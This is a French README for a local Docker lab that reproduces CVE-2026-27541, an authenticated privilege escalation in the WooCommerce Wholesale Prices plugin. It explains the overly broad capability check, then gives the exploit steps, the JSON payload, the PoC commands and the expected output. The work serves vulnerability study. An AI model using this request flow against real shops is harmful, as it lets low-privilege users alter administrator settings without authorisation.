
# Lab Docker pour reproduire la CVE-2026-27541, une élévation de privilèges authentifiée dans WooCommerce Wholesale Prices. Compare les versions vulnérable et corrigée, inclut un script PoC et une analyse de la cause racine.

Ce projet est un laboratoire Docker local permettant d'analyser et de reproduire le comportement de CVE-2026-27541 dans le plugin WooCommerce Wholesale Prices / Wholesale Suite en comparant les versions vulnérable et corrigée côte à côte sur la même machine.
Le problème principal est un Contrôle d'accès cassé dans le point de terminaison d'API REST suivant :
/wp-json/wwp/v1/admin/save
D'après le code source utilisé dans ce laboratoire, cette route possède déjà un permission_callback dans les versions vulnérable et corrigée. Cependant, la version affectée utilise un contrôle de capacité trop large pour une action d'écriture des paramètres administrateur :
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )Dans ce laboratoire, l'utilisateur shopmgr, qui possède le rôle shop_manager, a manage_woocommerce=true mais pas manage_options. Par conséquent, cet utilisateur à faibles privilèges peut utiliser une session connectée valide ainsi qu'un X-WP-Nonce valide pour invoquer le point de terminaison d'enregistrement des paramètres administrateur sur la version vulnérable, tandis que la version corrigée renvoie 403 rest_forbidden pour la même requête.
2.2.6) : l'utilisateur shopmgr peut appeler avec succès POST /wp-json/wwp/v1/admin/save et modifier les paramètres du plugin.2.2.7) : la même requête de shopmgr est rejetée avec 403.403, ce qui est cohérent avec un problème d'élévation de privilèges post-authentification.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, tandis que la version corrigée renvoie toujours See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → bases de données MariaDB distinctesseed-vuln / seed-patched → tâches d'initialisation wp-cli qui installent WordPress, installent le plugin, créent les utilisateurs et créent un produit pour les testshttp://localhost:8081 → vulnérablehttp://localhost:8082 → corrigéwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — définit les piles vulnérable et corrigée avec des bases de données distinctesscripts/seed-wp.sh — installe WordPress, WooCommerce, le plugin cible, et crée les utilisateurs de test et les données produitpoc.py — PoC à impact minimal pour la connexion, l'extraction du nonce et l'invocation du point de terminaison RESTUne fois la pile prête, le script d'initialisation crée les éléments suivants :
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce : 10.6.0
WooCommerce Wholesale Prices :
2.2.62.2.7Le script écrit également lab-secrets.json dans chaque conteneur WordPress afin que les données initialisées et les informations de version puissent être vérifiées.
Ce PoC ne tente pas de prendre le contrôle du site, de modifier les rôles, d'installer des plugins ou d'exécuter un shell.
Il fait uniquement ce qui suit :
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Ce paramètre est utilisé comme marqueur observable pour démontrer qu'un utilisateur à faibles privilèges peut modifier une configuration réservée à l'administrateur.
POST /wp-json/wwp/v1/admin/saveBien que le point de terminaison exige une session et un nonce valides, la version vulnérable permet toujours à un utilisateur à faibles privilèges tel que shopmgr avec le rôle shop_manager d'invoquer un point de terminaison qui devrait être réservé à l'administrateur.
Il ne s'agit pas d'une vulnérabilité non authentifiée.
Si le point de terminaison est appelé directement sans session connectée, les versions vulnérable et corrigée rejettent toutes deux la requête. Le bug réside dans l'autorisation après authentification, pas dans l'authentification elle-même.
La version vulnérable ne manque pas de permission_callback. Le défaut est qu'elle utilise un contrôle de capacité trop large (manage_woocommerce) pour une action REST qui écrit des paramètres côté administrateur.
D'après le code source dans includes/class-wwp-admin-settings.php :
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() comme permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
Dans ce laboratoire, l'utilisateur shopmgr, qui possède le rôle shop_manager, a manage_woocommerce=true mais pas manage_options, il réussit donc le contrôle vulnérable mais échoue au contrôle corrigé.
La version corrigée fait plus que changer la réponse de 200 à 403. Elle modifie la logique de contrôle d'accès en resserrant l'exigence de capacité de manage_woocommerce à manage_options.
De plus, le chemin d'enregistrement dans la version corrigée est davantage renforcé en passant d'un filtrage basé sur les préfixes à des listes blanches explicites et une sanitisation plus forte.
Le PoC suit le même flux qu'un contexte de navigateur réel :
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveÉtant donné que la version vulnérable permet aux utilisateurs disposant de manage_woocommerce d'invoquer cette action d'écriture des paramètres, la requête réussit et entraîne une modification persistante d'option.
Un nonce aide à protéger contre le CSRF, mais ce n'est pas un contrôle d'autorisation.
Avoir une session valide et un nonce valide ne signifie pas qu'un utilisateur devrait être autorisé à effectuer une action d'administrateur. L'utilisation d'une capacité trop large sur un point de terminaison privilégié suffit à créer un contournement d'autorisation à faibles privilèges.
docker compose up -d --build
docker compose ps
Vous devriez voir au moins :
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py fonctionne comme suit :
GET /wp-login.php
POST /wp-login.php pour établir une session authentifiée
ouvrir la page d'administration du plugin :
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
extraire wpApiSettings.nonce et la racine REST du HTML/JavaScript
envoyer une requête à :
/wp-json/wwp/v1/admin/save
soumettre la charge utile :
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Sortie attendue :
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Sortie attendue :
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
Après que le PoC réussit sur le nœud vulnérable :
PWNED_BY_POC
L'impact pratique de cette classe de bug est qu'un utilisateur à faibles privilèges peut modifier une configuration qui devrait être réservée à l'administrateur, ce qui peut directement conduire à :
Ce laboratoire utilise intentionnellement une charge utile sûre et observable afin d'éviter les changements de rôle ou toute élévation au-delà de ce qui est nécessaire pour prouver la condition de vulnérabilité.
docker compose down -v
localhost uniquementCe laboratoire montre que CVE-2026-27541 est un contournement d'autorisation authentifié à faibles privilèges dans le point de terminaison des paramètres de l'API REST du plugin. Le défaut de la version 2.2.6 n'est pas l'absence de contrôle de permission, mais l'utilisation d'une capacité trop large (manage_woocommerce) pour une action qui devrait être restreinte au niveau manage_options.
Dans cet environnement local :
shopmgr réussit le contrôle vulnérable et peut modifier avec succès les paramètres côté administrateur via POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC dans l'option cible, tandis que la version corrigée ne le fait pasPar conséquent, ce dépôt sert à la fois de preuve comportementale et de preuve basée sur le code de la différence entre la version vulnérable et la version corrigée dans un environnement local entièrement contrôlé.